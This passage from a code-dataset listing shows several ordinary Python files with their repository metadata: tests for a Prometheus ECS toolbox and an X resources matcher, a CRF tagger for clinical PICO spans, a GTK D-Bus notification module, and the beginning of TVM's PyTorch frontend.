lparkourer10/starcoder-python5b · Datasets at Hugging Face

4a07ac0d9bb2955a02af37b63e53a1f87c387621

2,479

py

Python

tests/test_toolbox.py

lejmr/prometheus-ecs-discoverer

d4968c6e3f8588a9f64157462a82420d099ac583

[ "Apache-2.0" ]

12

2020-08-06T15:17:47.000Z

2021-10-06T05:21:06.000Z

tests/test_toolbox.py

lejmr/prometheus-ecs-discoverer

d4968c6e3f8588a9f64157462a82420d099ac583

[ "Apache-2.0" ]

11

2020-08-01T22:13:29.000Z

2021-10-08T06:17:34.000Z

tests/test_toolbox.py

lejmr/prometheus-ecs-discoverer

d4968c6e3f8588a9f64157462a82420d099ac583

[ "Apache-2.0" ]

3

2021-04-19T20:47:10.000Z

2021-10-01T14:29:09.000Z

import pytest from prometheus_ecs_discoverer import toolbox def test_chunk_list_with_even_size(): big_list = list(range(100)) chunks = toolbox.chunk_list(big_list, 10) assert len(chunks) == 10 for chunk in chunks: assert len(chunk) <= 10 def test_chunk_list_with_uneven_size(): big_list = list(range(103)) chunks = toolbox.chunk_list(big_list, 10) assert len(chunks) == 11 for chunk in chunks: assert len(chunk) <= 10 assert len(chunks[-1]) == 3 def test_extract_set(): dct = { "descr1": {"att1": "fefefe", "att2": "fefegtrafgrgr"}, "descr2": {"att1": "OGOGOGO", "att2": "fefegtrafgrgr"}, "descr3": {"att1": "OGOGOGO", "att2": "fefegtrafgrgr"}, } extract = toolbox.extract_set(dct, "att1") assert len(extract) == 2 assert extract == {"fefefe", "OGOGOGO"} def test_list_to_dict(): lst = [{"key1": "hallo", "key2": "my"}, {"key1": "old", "key2": "friend"}] dct = toolbox.list_to_dict(lst, "key1") assert dct == { "hallo": {"key1": "hallo", "key2": "my"}, "old": {"key1": "old", "key2": "friend"}, } def test_print_structure(): lst = [{"key1": "hallo", "key2": "my"}, {"key1": "old", "key2": "friend"}] toolbox.pstruct(lst) assert True def test_validate_min_len(): lst = [{"this": "dict", "is": "too long"}, {"good": {"dict": "only", "len": "one"}}] with pytest.raises(ValueError): toolbox.validate_min_len(min_len=10, collections=lst) toolbox.validate_min_len(min_len=1, collections=lst) assert True # ------------------------------------------------------------------------------ def test_extract_env_var(): container = { "random": {"random": "random"}, "environment": [ {"name": "PROMETHEUS_PORT", "value": "80"}, {"name": "SOMETINGELSE", "value": "fefefwe"}, ], } assert "80" == toolbox.extract_env_var(container, "PROMETHEUS_PORT") assert None is toolbox.extract_env_var(container, "does not exist") def test_extract_env_var_no_env(): container = { "random": {"random": "random"}, } assert None is toolbox.extract_env_var(container, "PROMETHEUS_PORT") # ------------------------------------------------------------------------------ def test_extract_env_var_no_environment(): container = {"random": {"random": "random"}} assert None is toolbox.extract_env_var(container, "does not exist")

26.37234

88

0.567568

4a07ac850b9e6883d26af6f9d28ab85e817e612e

10,183

py

Python

crf-seq/sets/sets/2/seq_detect_1o.py

roma-patel/lstm-crf

25012b1218b60090f467fe5ed5a15d7a28b3134c

[ "Apache-2.0" ]

1

2020-02-24T06:25:17.000Z

crf-seq/sets/sets/2/seq_detect_1o.py

roma-patel/lstm-crf

25012b1218b60090f467fe5ed5a15d7a28b3134c

[ "Apache-2.0" ]

null

crf-seq/sets/sets/2/seq_detect_1o.py

roma-patel/lstm-crf

25012b1218b60090f467fe5ed5a15d7a28b3134c

[ "Apache-2.0" ]

null

import pycrfsuite import sklearn from itertools import chain from sklearn.metrics import classification_report, confusion_matrix from sklearn.preprocessing import LabelBinarizer import re import json annotypes = ['Participants', 'Intervention', 'Outcome'] annotype = annotypes[2] path = '/nlp/data/romap/crf/' #path = '/Users/romapatel/Desktop/crf/' def run(): train_sents, test_sents = get_train_test_sets() print len(test_sents) indwords_list = get_ind_words() patterns_list = get_patterns() X_train = [sent_features(train_sents[docid], indwords_list, patterns_list) for docid in train_sents.keys()] y_train = [sent_labels(train_sents[docid]) for docid in train_sents.keys()] X_test = [sent_features(test_sents[docid], indwords_list, patterns_list) for docid in test_sents.keys()] y_test = [sent_labels(test_sents[docid]) for docid in test_sents.keys()] trainer = pycrfsuite.Trainer(verbose=False) for xseq, yseq in zip(X_train, y_train): trainer.append(xseq, yseq) trainer.set_params({'c1': 1.0,'c2': 1e-3, 'max_iterations': 50, 'feature.possible_transitions': True}) trainer.train('PICO.crfsuite') tagger = pycrfsuite.Tagger() tagger.open('PICO.crfsuite') get_results(test_sents, tagger, indwords_list, patterns_list) def get_results(test_sents, tagger, indwords_list, patterns_list): f1 = open(path + 'sets/2/' + annotype + '-test_pred.json', 'w+') f2 = open(path + 'sets/2/' + annotype + '-test_correct.json', 'w+') pred_dict, correct_dict = {}, {} for docid in test_sents: pred, correct = tagger.tag(sent_features(test_sents[docid], indwords_list, patterns_list)), sent_labels(test_sents[docid]) spans, span, outside = [], [], True for i in range(len(pred)): if pred[i] == '0' and outside is True: continue elif pred[i] == '0' and outside is False: span.append(i+1) spans.append(span) span, outside = [], True elif pred[i] == '1' and outside is False: continue elif pred[i] == '1' and outside is True: outside = False span.append(i) pred_dict[docid] = spans spans, span, outside = [], [], True for i in range(len(correct)): if correct[i] == '0' and outside is True: continue elif correct[i] == '0' and outside is False: span.append(i+1) spans.append(span) span, outside = [], True elif correct[i] == '1' and outside is False: continue elif correct[i] == '1' and outside is True: outside = False span.append(i) correct_dict[docid] = spans f1.write(json.dumps(pred_dict)) f2.write(json.dumps(correct_dict)) def get_ind_words(): fin_list = [] for annotype in annotypes: list = [] #filename = annotype.lower() + '_words.txt' filename = annotype.lower() + '_unigrams.tsv' f = open(path + 'crf_files/' + filename, 'r') for line in f: #word = line[:-1] items = line.split('\t') word = items[1][:-1] if word not in list: list.append(word) if annotype == 'Intervention': f = open(path + 'crf_files/drug_names.txt', 'r') for line in f: word = line[:-1] if word not in list: list.append(word) fin_list.append(list) indwords = [fin_list[0], fin_list[1], fin_list[2]] return indwords #all lowercased def get_patterns(): fin_list = [] for annotype in annotypes: list = [] #filename = annotype.lower() + '_pattern_copy.txt' filename = annotype.lower() + '_trigrams3.tsv' f = open(path + 'crf_files/' + filename, 'r') for line in f: #word = line[:-1].lower() word = line[:-1].split('\t') word = word[1] if word not in list: list.append(word) fin_list.append(list) patterns = [fin_list[0], fin_list[1], fin_list[2]] return patterns def isindword(word, annotype, indwords_list): if annotype == annotypes[0]: list = indwords_list[0] elif annotype == annotypes[1]: list = indwords_list[1] else: list = indwords_list[2] if word.lower() in list or word.lower()[:-1] in list or word.lower()[-3:] in list: return True else: return False def ispattern(word, pos, annotype, pattern_list): if annotype == annotypes[0]: list = pattern_list[0] elif annotype == annotypes[1]: list = pattern_list[1] else: list = pattern_list[2] for pattern in pattern_list: if word.lower() in pattern or pos.lower() in pattern: return True else: return False def word_features(sent, i, indwords_list, pattern_list): word = sent[i][0] postag = sent[i][2] features = ['bias', 'word.lower=' + word.lower(),'word[-3:]=' + word[-3:], 'word[-4:]=' + word[-4:],'word.isupper=%s' % word.isupper(), 'word.istitle=%s' % word.istitle(), 'word.isdigit=%s' % word.isdigit(), 'postag=' + postag, 'isindword=%s' % isindword(word, annotype, indwords_list), 'word[0:4]=' + word[0:4], 'ispattern=%s' % ispattern(word, postag, annotype, pattern_list)] #prev previous word if i > 1: word1 = sent[i-2][0] postag1 = sent[i-2][2] features.extend(['-1:word.lower=' + word1.lower(), '-1:word.istitle=%s' % word1.istitle(), '-1:word.isupper=%s' % word1.isupper(), '-1:postag=' + postag1, 'isindword=%s' % isindword(word1, annotype, indwords_list), 'word[0:4]=' + word[0:4], 'word[-3:]=' + word[-3:]]) #previous word if i > 0: word1 = sent[i-1][0] postag1 = sent[i-1][2] features.extend(['-1:word.lower=' + word1.lower(), '-1:word.istitle=%s' % word1.istitle(), '-1:word.isupper=%s' % word1.isupper(), '-1:postag=' + postag1, 'isindword=%s' % isindword(word1, annotype, indwords_list), 'word[0:4]=' + word[0:4], 'word[-3:]=' + word[-3:], 'ispattern=%s' % ispattern(word, postag, annotype, pattern_list)]) else: features.append('BOS') #next to next word if i < len(sent)-2: word1 = sent[i+2][0] postag1 = sent[i+2][2] features.extend(['+1:word.lower=' + word1.lower(), '+1:word.istitle=%s' % word1.istitle(), '+1:word.isupper=%s' % word1.isupper(), '+1:postag=' + postag1, 'isindword=%s' % isindword(word1, annotype, indwords_list), 'word[0:4]=' + word[0:4], 'word[-3:]=' + word[-3:]]) #next word if i < len(sent)-1: word1 = sent[i+1][0] postag1 = sent[i+1][2] features.extend(['+1:word.lower=' + word1.lower(), '+1:word.istitle=%s' % word1.istitle(), '+1:word.isupper=%s' % word1.isupper(), '+1:postag=' + postag1, 'isindword=%s' % isindword(word1, annotype, indwords_list), 'word[0:4]=' + word[0:4], 'word[-3:]=' + word[-3:], 'ispattern=%s' % ispattern(word, postag, annotype, pattern_list)]) else: features.append('EOS') return features def sent_features(sent, indwords_list, patterns_list): return [word_features(sent, i, indwords_list, patterns_list) for i in range(len(sent))] def sent_labels(sent): return [str(o_label) for token, ner, postag, p_label, i_label, o_label in sent] def sent_tokens(sent): return [token for token, ner, postag, p_label, i_label, o_label in sent] def print_results(example_sent, tagger, indwords_list, docid, dict): pred, correct = tagger.tag(sent_features(example_sent, indwords_list)), sent_labels(example_sent) spans, span, outside = [], [], True for i in range(len(pred)): if pred[i] == '0' and outside is True: continue elif pred[i] == '0' and outside is False: span.append(i+1) spans.append(span) span, outside = [], True elif pred[i] == '1' and outside is False: continue elif pred[i] == '1' and outside is True: outside = False span.append(i) f = open(path + annotype + '-test.json', 'w+') print '\n\nPredicted: ' + str(spans) for span in spans: s = ' ' for i in range(span[0], span[1]): s += example_sent[i][0] + ' ' print s spans, span, outside = [], [], True for i in range(len(correct)): if correct[i] == '0' and outside is True: continue elif correct[i] == '0' and outside is False: span.append(i+1) spans.append(span) span, outside = [], True elif correct[i] == '1' and outside is False: continue elif correct[i] == '1' and outside is True: outside = False span.append(i) print '\n\nCorrect: ' + str(spans) for span in spans: s = ' ' for i in range(span[0], span[1]): s += example_sent[i][0] + ' ' print s def get_training_data(): f = open(path + 'crf_files/difficulty_crf_mv.json', 'r') for line in f: dict = json.loads(line) return dict def get_train_test_sets(): test_docids = [] f = open(path + 'crf_files/gold_docids.txt', 'r') for line in f: test_docids.append(line[:-1]) doc_dict = get_training_data() test_sents, train_sents = {}, {} count = 0 for docid in doc_dict: sents = doc_dict[docid] if len(sents) == 0: continue count += 1 #if count >= 100: break if docid not in test_docids: train_sents[docid] = sents else: test_sents[docid] = sents f = open(path + 'difficulty_new.json', 'r') for line in f: doc_dict_new = json.loads(line) count = 1 for docid in doc_dict_new: if docid in train_sents.keys(): continue if count == 4741: break train_sents[docid] = doc_dict_new[docid] count += 1 return train_sents, test_sents if __name__ == '__main__': run()

38.426415

130

0.578022

4a07ac85e1dd6a28b82dfdeb1af6ecb560da1b4f

1,588

py

Python

tests/test_match.py

atagen/xparser

35e6d5aecd7a7c775309a206e457ee3a00c3fc53

[ "MIT" ]

2

2018-05-28T20:16:18.000Z

2021-06-30T02:39:52.000Z

tests/test_match.py

atagen/xparser

35e6d5aecd7a7c775309a206e457ee3a00c3fc53

[ "MIT" ]

4

2021-01-28T14:05:17.000Z

2021-12-15T23:05:09.000Z

tests/test_match.py

atagen/xparser

35e6d5aecd7a7c775309a206e457ee3a00c3fc53

[ "MIT" ]

2

2019-06-24T20:56:34.000Z

2021-12-15T23:08:51.000Z

import pytest import xrp.match class Test_MatchResource: @pytest.mark.parametrize('resource_id,components', [ ('*color0', ['*', 'color0']), ('?.color0', ['?', 'color0']), ('URxvt*foreground', ['URxvt', '*', 'foreground']), ('comp_a.*.comp_d.attribute', ['comp_a', '*', 'comp_d', 'attribute']) ]) def test_components(self, resource_id, components): assert xrp.match._MatchResource.components(resource_id) == components @pytest.mark.parametrize('components,padded', [ (['comp_a', '*', 'comp_d', 'attribute'], ['comp_a', '?', 'comp_d', 'attribute']), (['*', 'color0'], ['?', '?', '?', 'color0']) ]) def test_pad_components(self, components, padded): assert xrp.match._MatchResource.pad_components(components) == padded @pytest.mark.parametrize('comp_1,comp_2,result', [ ('URXvt', '?', True), ('?', 'color0', True), ('URxvt', 'color0', False), ('color0', 'color0', True) ]) def test_compare_component(self, comp_1, comp_2, result): assert xrp.match._MatchResource.compare_component(comp_1, comp_2) == result @pytest.mark.parametrize('resource_id,string,result', [ ("comp_a.*.comp_d.attribute", "comp_a.*.attribute", True), ("comp_a.comp_b.*.attribute", "comp_a.comp_b.*.comp_d.attribute", True), ("comp_a.?.?.comp_d.attribute", "comp_a.*.attribute", True) ]) def test_compare(self, resource_id, string, result): mr = xrp.match._MatchResource(resource_id, string) assert mr.compare() == result

38.731707

89

0.604534

4a07acc95882ce20e1dbf86d22afb6b05e9a8741

12,581

py

Python

notus/gtk_dbus/gtk_toaster.py

cnheider/notus

f284132e87d7b274c3ea239f216959987e670910

[ "Apache-2.0" ]

null

notus/gtk_dbus/gtk_toaster.py

cnheider/notus

f284132e87d7b274c3ea239f216959987e670910

[ "Apache-2.0" ]

null

notus/gtk_dbus/gtk_toaster.py

cnheider/notus

f284132e87d7b274c3ea239f216959987e670910

[ "Apache-2.0" ]

2

2021-02-04T15:04:16.000Z

2021-02-04T15:05:30.000Z

#!/usr/bin/env python3 # -*- coding: utf-8 -*- import gi gi.require_version("Gtk", "3.0") from gi.repository import GdkPixbuf import time import dbus __author__ = "Christian Heider Nielsen" __doc__ = ( "Based on the notifications spec at: http://developer.gnome.org/notification-spec/" ) __version__ = "0.0.1" EXPIRES_DEFAULT = -1 EXPIRES_NEVER = 0 URGENCY_LOW = 0 URGENCY_NORMAL = 1 URGENCY_CRITICAL = 2 urgency_levels = [URGENCY_LOW, URGENCY_NORMAL, URGENCY_CRITICAL] IS_SETUP = False APP_NAME = f"unnamed_app_{time.time()}" HAVE_MAINLOOP = False NOTIFICATIONS_REGISTRY = {} __all__ = ["GtkToast"] def action_callback(nid, action, notifications_registry) -> None: """ :param nid: :type nid: :param action: :type action: :param notifications_registry: :type notifications_registry: :return: :rtype: """ nid, action = int(nid), str(action) try: n = notifications_registry[nid] except KeyError: # this message was created through some other program. return n.action_callback(action, notifications_registry) def closed_callback(nid, reason, notifications_registry) -> None: """ :param nid: :type nid: :param reason: :type reason: :param notifications_registry: :type notifications_registry: :return: :rtype: """ nid, reason = int(nid), int(reason) try: n = notifications_registry[nid] except KeyError: # this message was created through some other program. return n.closed_callback(n) del notifications_registry[nid] def no_op(*args): """No-op function for callbacks.""" pass # TODO: Object orient globals! class NotSetupError(RuntimeError): """Error raised if you try to communicate with the server before calling :func:`init`.""" pass class UnconstructedDbusObject(object): def __getattr__(self, name): raise NotSetupError("You must call toaster.init() first") dbus_interface = UnconstructedDbusObject() def init(app_name, mainloop=None): """Initialise the D-Bus connection. Must be called before you send any notifications, or retrieve server info or capabilities. To get callbacks from notifications, DBus must be integrated with a mainloop. There are three ways to achieve this: - Set a default mainloop (dbus.set_default_main_loop) before calling init() - Pass the mainloop parameter as a string 'glib' or 'qt' to integrate with those mainloops. (N.B. passing 'qt' currently makes that the default dbus mainloop, because that's the only way it seems to work.) - Pass the mainloop parameter a DBus compatible mainloop instance, such as dbus.mainloop.glib.DBusGMainLoop(). If you only want to display notifications, without receiving information back from them, you can safely omit mainloop.""" global APP_NAME, IS_SETUP, dbus_interface, HAVE_MAINLOOP if mainloop == "glib": from dbus.mainloop.glib import DBusGMainLoop mainloop = DBusGMainLoop() elif mainloop == "qt": from dbus.mainloop.qt import DBusQtMainLoop # For some reason, this only works if we make it the default mainloop # for dbus. That might make life tricky for anyone trying to juggle two # event loops, but I can't see any way round it. mainloop = DBusQtMainLoop(set_as_default=True) bus = dbus.SessionBus(mainloop=mainloop) dbus_obj = bus.get_object( "org.freedesktop.Notifications", "/org/freedesktop/Notifications" ) dbus_interface = dbus.Interface( dbus_obj, dbus_interface="org.freedesktop.Notifications" ) APP_NAME = app_name IS_SETUP = True if mainloop or dbus.get_default_main_loop(): HAVE_MAINLOOP = True dbus_interface.connect_to_signal("ActionInvoked", action_callback) dbus_interface.connect_to_signal("NotificationClosed", closed_callback) return True def is_initted(): """Has init() been called? Only exists for compatibility with pynotify.""" return IS_SETUP def get_app_name(): """Return appname. Only exists for compatibility with pynotify.""" return APP_NAME def de_init(): """Undo what init() does.""" global IS_SETUP, dbus_interface, HAVE_MAINLOOP IS_SETUP = False HAVE_MAINLOOP = False dbus_interface = UnconstructedDbusObject() # Retrieve basic server information -------------------------------------------- def get_server_caps(): """Get a list of server capabilities. These are short strings, listed `in the spec <http://people.gnome.org/~mccann/docs/notification-spec/notification-spec-latest.html#commands>`_. Vendors may also list extra capabilities with an 'x-' prefix, e.g. 'x-canonical-append'.""" return [str(x) for x in dbus_interface.GetCapabilities()] def get_server_info(): """Get basic information about the server.""" res = dbus_interface.GetServerInformation() return { "name": str(res[0]), "vendor": str(res[1]), "version": str(res[2]), "spec-version": str(res[3]), } class GtkToast(object): """A notification object. summary : str The title text message : str The body text, if the server has the 'body' capability. icon : str Path to an icon image, or the name of a stock icon. Stock icons available in Ubuntu are `listed here <https://wiki.ubuntu.com/NotificationDevelopmentGuidelines #How_do_I_get_these_slick_icons>`_. You can also set an icon from data in your application - see :meth:`set_icon_from_pixbuf`.""" _id = 0 _timeout = -1 # -1 = server default settings _closed_callback = no_op def __init__(self, title, body="", *, icon=""): self.title = title self.body = body self._hints = {} if isinstance(icon, GdkPixbuf.Pixbuf): self._icon = "" self.set_hint("icon_data", icon) else: self._icon = icon self._actions = {} self._data = {} # Any data the user wants to attach def show(self): """Ask the server to show the notification. Call this after you have finished setting any parameters of the notification that you want.""" nid = dbus_interface.Notify( APP_NAME, # app_name (spec names) self._id, # replaces_id self._icon, # app_icon self.title, # summary self.body, # body self._make_actions_array(), # actions self._hints, # hints self._timeout, # expire_timeout ) self._id = int(nid) if HAVE_MAINLOOP: NOTIFICATIONS_REGISTRY[self._id] = self return True def update(self, title, body="", *, icon=None): """Replace the summary and body of the notification, and optionally its icon. You should call :meth:`show` again after this to display the updated notification.""" self.title = title self.body = body if icon is not None: self._icon = icon def close(self): """Ask the server to close this notification.""" if self._id != 0: dbus_interface.CloseNotification(self._id) def set_hint(self, key, value): """n.set_hint(key, value) <--> n.hints[key] = value See `hints in the spec <http://people.gnome.org/~mccann/docs/notification-spec/notification-spec-latest .html#hints>`_. Only exists for compatibility with pynotify.""" self._hints[key] = value set_hint_string = set_hint_int32 = set_hint_double = set_hint def set_hint_byte(self, key, value): """Set a hint with a dbus byte value. The input value can be an integer or a bytes string of length 1.""" self._hints[key] = dbus.Byte(value) def set_urgency(self, level): """Set the urgency level to one of URGENCY_LOW, URGENCY_NORMAL or URGENCY_CRITICAL.""" if level not in urgency_levels: raise ValueError("Unknown urgency level specified", level) self.set_hint_byte("urgency", level) def set_category(self, category): """Set the 'category' hint for this notification. See `categories in the spec <http://people.gnome.org/~mccann/docs/notification-spec/notification-spec -latest.html#categories>`_.""" self._hints["category"] = category def set_timeout(self, timeout): """Set the display duration in milliseconds, or one of the special values EXPIRES_DEFAULT or EXPIRES_NEVER. This is a request, which the server might ignore. Only exists for compatibility with pynotify; you can simply set:: n.timeout = 5000""" if not isinstance(timeout, int): raise TypeError("timeout value was not int", timeout) self._timeout = timeout def get_timeout(self): """Return the timeout value for this notification. Only exists for compatibility with pynotify; you can inspect the timeout attribute directly.""" return self._timeout def add_action(self, action, label, callback, user_data=None): """Add an action to the notification. Check for the 'actions' server capability before using this. action : str A brief key. label : str The text displayed on the action button callback : callable A function taking at 2-3 parameters: the Notification object, the action key and (if specified) the user_data. user_data : An extra argument to pass to the callback.""" self._actions[action] = (label, callback, user_data) def _make_actions_array(self): """Make the actions array to send over DBus.""" arr = [] for action, (label, callback, user_data) in self._actions.items(): arr.append(action) arr.append(label) return arr def _action_callback(self, action): """Called when the user selects an action on the notification, to dispatch it to the relevant user-specified callback.""" try: label, callback, user_data = self._actions[action] except KeyError: return if user_data is None: callback(self, action) else: callback(self, action, user_data) def connect(self, event, callback): """Set the callback for the notification closing; the only valid value for event is 'closed' (the parameter is kept for compatibility with pynotify). The callback will be called with the :class:`Notification` instance.""" if event != "closed": raise ValueError("'closed' is the only valid value for event", event) self._closed_callback = callback def set_data(self, key, value): """n.set_data(key, value) <--> n.data[key] = value Only exists for compatibility with pynotify.""" self._data[key] = value def get_data(self, key): """n.get_data(key) <--> n.data[key] Only exists for compatibility with pynotify.""" return self._data[key] def set_icon_from_pixbuf(self, icon): """Set a custom icon from a GdkPixbuf.""" self._hints["icon_data"] = self._get_icon_struct(icon) @staticmethod def _get_icon_struct(icon): return ( icon.get_width(), icon.get_height(), icon.get_rowstride(), icon.get_has_alpha(), icon.get_bits_per_sample(), icon.get_n_channels(), dbus.ByteArray(icon.get_pixels()), ) def set_location(self, x, y): """Set the notification location as (x, y), if the server supports it.""" if (not isinstance(x, int)) or (not isinstance(y, int)): raise TypeError("x and y must both be ints", (x, y)) self._hints["x"] = x self._hints["y"] = y if __name__ == "__main__": import gi gi.require_version("Gtk", "3.0") from gi.repository import Gtk init("Test") helper = Gtk.Button() a_icon = helper.render_icon(Gtk.STOCK_DIALOG_INFO, Gtk.IconSize.DIALOG) t = GtkToast("Title", "Body") t.set_icon_from_pixbuf(a_icon) for i in range(10): t.title = f"Title{i}" t.body = f"Body{i}" t.show() time.sleep(0.1) if i == 4: a_icon = helper.render_icon(Gtk.STOCK_DIALOG_QUESTION, Gtk.IconSize.DIALOG) t.set_icon_from_pixbuf(a_icon)

30.835784

111

0.642636

4a07ad6444cdc64ed80ffb255dddff83b553abea

147,637

py

Python

python/tvm/relay/frontend/pytorch.py

T-head-Semi/tvm

c1b8e06685c92fb7cacbe989e147b0622aee4503

[ "Apache-2.0" ]

4

2021-10-19T06:22:55.000Z

2022-03-17T22:55:12.000Z

python/tvm/relay/frontend/pytorch.py

T-head-Semi/tvm

c1b8e06685c92fb7cacbe989e147b0622aee4503

[ "Apache-2.0" ]

null

python/tvm/relay/frontend/pytorch.py

T-head-Semi/tvm

c1b8e06685c92fb7cacbe989e147b0622aee4503

[ "Apache-2.0" ]

2

2021-10-19T03:28:37.000Z

2022-03-17T22:55:14.000Z

# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # pylint: disable=import-self, too-many-lines, len-as-condition, no-else-return, unused-variable, too-many-nested-blocks # pylint: disable=consider-iterating-dictionary, invalid-name, unused-argument, unused-variable, broad-except # pylint: disable=import-outside-toplevel, simplifiable-if-expression, cell-var-from-loop, unnecessary-lambda # pylint: disable=missing-function-docstring """PT: PyTorch frontend.""" import functools import itertools import logging import math import sys import numpy as np import tvm from tvm.ir import IRModule from tvm.topi.utils import get_const_tuple from .. import analysis as _analysis from .. import expr as _expr from .. import function as _function from .. import op as _op from .. import qnn, transform from ..expr_functor import ExprMutator from ..loops import while_loop from ..prelude import Prelude, StaticTensorArrayOps from ..ty import Any, TensorType, TupleType from . import qnn_torch from .common import AttrCvt, get_relay_op, gru_cell from .common import infer_shape as _infer_shape from .common import infer_value as _infer_value from .common import infer_value_simulated as _infer_value_simulated from .common import lstm_cell, try_infer_value, unbind from .common import set_span from .pytorch_utils import is_version_greater_than __all__ = ["from_pytorch"] # This returns a "subgraph" which puts variables whenever # the type is known. It also records things to map the input # nodes to the extracted graph's nodes. # As Python objects are not round-trippable through C++, and # our type annotations only live in Python, we need to map # the we need to map the nodes we get in visiting to the nodes # we used to construct the graph (they are the same in C++, # match each other in dictionary lookups, but are not the same # in Python) by using the hint dictionary filled as # {node: node for node in nodes} to get the type annotations. # https://discuss.tvm.apache.org/t/round-tripping-objects-through-the-ffi/8440 class _TypeFinder(ExprMutator): def __init__(self, types): super().__init__() self.counter = 0 self.vars = {} self.types = types self.leave = set() # some variables are not inputs def visit_let(self, let): self.leave.add(let.var) return super().visit_let(let) def visit_function(self, fn): self.leave.update(fn.params) return super().visit_function(fn) def visit(self, expr): if expr in self.leave: return super().visit(expr) if expr in self.vars: return self.vars[expr] if isinstance(expr, tvm.relay.Var): self.vars[expr] = expr return expr if expr in self.types: ty = self.types[expr] v = tvm.relay.var(f"_{self.counter}", type_annotation=ty) self.counter += 1 self.vars[expr] = v return v v = super().visit(expr) return v def _should_construct_dynamic_list(list_construct_node): # if this list is element-accessed or modified at runtime, generate List ADT def inplace_add_to_add(op_name): if op_name == "aten::add_": return "aten::add" else: return op_name uses = _get_uses(list_construct_node) for loop_use in filter(lambda use: use.user.kind() == "prim::Loop", uses): block_input_index = loop_use.offset - 1 block = list(loop_use.user.blocks())[0] list_loop_var = list(block.inputs())[block_input_index] uses += _get_uses(list_loop_var.node()) op_names = map(inplace_add_to_add, set(use.user.kind() for use in uses)) list_ops = set(["aten::add", "aten::__getitem__"]) intersect = list_ops.intersection(op_names) if len(intersect) > 0 and intersect != set(["aten::add"]): return True # if add op outputs list, it is dynamic so we need to construct List ADT for use in filter(lambda use: use.user.kind() in ["aten::add", "aten::add_"], uses): output_type = _get_node_type(use.user) if output_type == "ListType": return True return False def _is_int_seq(seq): # TODO (t-vi): handle non-int constants? (like numpy.intXX) return len(seq) > 0 and all([isinstance(i, int) for i in seq]) # operator implementation class PyTorchOpConverter: """A helper class for holding PyTorch op converters.""" def __init__(self, prelude, default_dtype): self.prelude = prelude self.default_dtype = default_dtype self.create_convert_map() self.types = {} # map from nodes to (Relay) type annotations # this incrementally infers the type, see the comments on the type visitor # above. def infer_type(self, node, mod=None): """An incremental method to infer the type of a node in the relay graph.""" if node in self.types: return self.types[node] if isinstance(node, tvm.relay.Var): return node.type_annotation tf = _TypeFinder(types=self.types) new_node = tf.visit(node) fn = _function.Function(list(tf.vars.values()), new_node) new_mod = IRModule({"main": fn}) if mod is not None: new_mod.update(mod) new_mod = transform.RemoveUnusedFunctions()(new_mod) new_mod = transform.InferType()(new_mod) entry = new_mod["main"] ty = entry.body.checked_type self.types[node] = ty return self.types[node] def infer_type_with_prelude(self, val): body = self.infer_type(val, self.prelude.mod) return body # list ADT utilities def convert_to_list_adt(self, py_lst): elem_tys = [self.infer_type_with_prelude(elem) for elem in py_lst] msg = "List elements should have identical types" assert all(map(lambda ty: ty == elem_tys[0], elem_tys)), msg # get_type returns type_name, ctor1, ..., ctorN # 1 is nil _, cons, nil = self.prelude.mod.get_type("List") adt_lst = nil() for elem in reversed(py_lst): adt_lst = cons(elem, adt_lst) return adt_lst def map_tensor_array_constructor(self, adt_lst, shape): static_tensor_array_ops = StaticTensorArrayOps(self.prelude, "float32", shape) static_tensor_array_ops.register() tensor_create = self.prelude.get_tensor_ctor_static("tensor_constructor", "float32", shape) return self.prelude.map(tensor_create, adt_lst) def convert_to_tensor_array(self, adt_lst): _, cons, nil = self.prelude.mod.get_type("List") if self.prelude.length(adt_lst) == 0: return nil() checked_type = self.infer_type_with_prelude(self.prelude.hd(adt_lst)) shape = checked_type.shape tensor_array = self.map_tensor_array_constructor(adt_lst, shape) return tensor_array, tuple(shape) def infer_shape(self, inputs, mod=None): """A method to get the output type of an intermediate node in the graph.""" typ = self.infer_type(inputs, mod=mod) if hasattr(typ, "shape"): # Regular operator that outputs tensors return get_const_tuple(typ.shape) # The return type is not a tensor, for example List return typ def infer_shape_with_prelude(self, inputs): return self.infer_shape(inputs, mod=self.prelude.mod) def record_output_type(self, output): if isinstance(output, tuple): cleaned_output = [o for o in output if o is not None] types = self.infer_type_with_prelude(_expr.Tuple(cleaned_output)) for o, t in zip(cleaned_output, types.fields): self.types[o] = t elif isinstance(output, _expr.Expr): self.infer_type_with_prelude(output) # it can also happen that the type is int or so def pytorch_promote_types(self, inputs, dtypes): """This promotes TVM inputs with TVM dtypes passed like PyTorch would""" actual_dtypes = [] for i, inp in enumerate(inputs): if isinstance(inp, _expr.Expr): idt = self.infer_type(inp).dtype actual_dtypes.append(idt) else: actual_dtypes.append(dtypes[i]) dtypes = actual_dtypes tensor_dtypes = [dt for inp, dt in zip(inputs, dtypes) if not np.isscalar(inp)] non_tensor_inputs = [inp for inp in inputs if np.isscalar(inp)] result_type = _pytorch_result_type(tensor_dtypes, non_tensor_inputs) results = [] for inp, dt in zip(inputs, dtypes): if np.isscalar(inp): results.append(_expr.const(inp, dtype=result_type)) elif dt == result_type: results.append(inp) else: results.append(_op.cast(inp, result_type)) return results def is_quantized_tensor(self, data): # If a quantized Torch module is saved and loaded back, dtype will be dropped # Since dtypes from Torch tensors are not reliable in such cases, we use # Relay's type inference result to decide if an input tensor is quantized ty = self.infer_type_with_prelude(data) return ty.dtype == "uint8" # Operator implementations def make_elemwise(self, name): def elemwise(inputs, input_types): data0, data1 = self.pytorch_promote_types(inputs[:2], input_types[:2]) return get_relay_op(name)(data0, data1) return elemwise def min_max_common(self, name_elemwise, name_reduce, inputs, input_types): if len(inputs) == 1: data = self.pytorch_promote_types(inputs[:1], input_types[:1]) return get_relay_op(name_reduce)(data[0]) elif len(inputs) >= 2 and isinstance(inputs[1], int): data = self.pytorch_promote_types(inputs[:1], input_types[:1]) dim = inputs[1] keepdims = inputs[2] if len(inputs) > 2 else False # also return dummy indices return get_relay_op(name_reduce)(data[0], axis=dim, keepdims=keepdims), None else: data0, data1 = self.pytorch_promote_types(inputs[:2], input_types[:2]) return get_relay_op(name_elemwise)(data0, data1) def max(self, inputs, input_types): return self.min_max_common("maximum", "max", inputs, input_types) def min(self, 